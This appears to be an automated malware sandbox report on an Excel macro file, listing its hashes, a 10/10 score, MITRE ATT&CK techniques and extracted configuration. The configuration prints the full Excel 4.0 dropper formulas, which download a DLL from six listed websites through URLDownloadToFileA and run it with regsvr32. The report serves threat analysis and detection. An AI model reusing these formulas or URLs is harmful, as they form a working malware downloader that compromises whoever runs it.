Overview

overview

10

Static

static

10

buhopbnh.xlsm

windows7_x64

10

buhopbnh.xlsm

windows10-2004_x64

10

Sharing

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General

  • Target

    buhopbnh

  • Size

    46KB

  • Sample

    220522-fz8f9sfeg5

  • MD5

    bfd57e03ead523e7a4e602dc6e367b57

  • SHA1

    9f76ebbdeff2e570e6b1e7915ec4b8ecfc4a3c07

  • SHA256

    ab43f95f76dbd0bafc11d3af407297993a715790014ec2d550185c7eb75293ab

  • SHA512

    6891128baaddfd435d1fe5609181aba9633d5d5faa4cabf26cbf197a19ec98631bda7debf1c7b0e62863be6c5af7a876bf03b77393ac70f83f4a0e84e8208cb5

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://eles-tech.com/css/KzMysMqFMs/

http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/

https://txpcrescue.com/cgi-bin/5tSO8/

http://hadramout21.com/jetpack-temp/Py/

http://haribuilders.com/zoombox-master/4HYGX/

http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://eles-tech.com/css/KzMysMqFMs/","..\xewn.dll",0,0) =IF('PIMKE'!C14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/","..\xewn.dll",0,0)) =IF('PIMKE'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://txpcrescue.com/cgi-bin/5tSO8/","..\xewn.dll",0,0)) =IF('PIMKE'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hadramout21.com/jetpack-temp/Py/","..\xewn.dll",0,0)) =IF('PIMKE'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://haribuilders.com/zoombox-master/4HYGX/","..\xewn.dll",0,0)) =IF('PIMKE'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/","..\xewn.dll",0,0)) =IF('PIMKE'!C24<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xewn.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://eles-tech.com/css/KzMysMqFMs/
xlm40.dropper

http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/

Targets

    • Target

      buhopbnh

    • Size

      46KB

    • MD5

      bfd57e03ead523e7a4e602dc6e367b57

    • SHA1

      9f76ebbdeff2e570e6b1e7915ec4b8ecfc4a3c07

    • SHA256

      ab43f95f76dbd0bafc11d3af407297993a715790014ec2d550185c7eb75293ab

    • SHA512

      6891128baaddfd435d1fe5609181aba9633d5d5faa4cabf26cbf197a19ec98631bda7debf1c7b0e62863be6c5af7a876bf03b77393ac70f83f4a0e84e8208cb5

    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    behavioral1behavioral2

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Tasks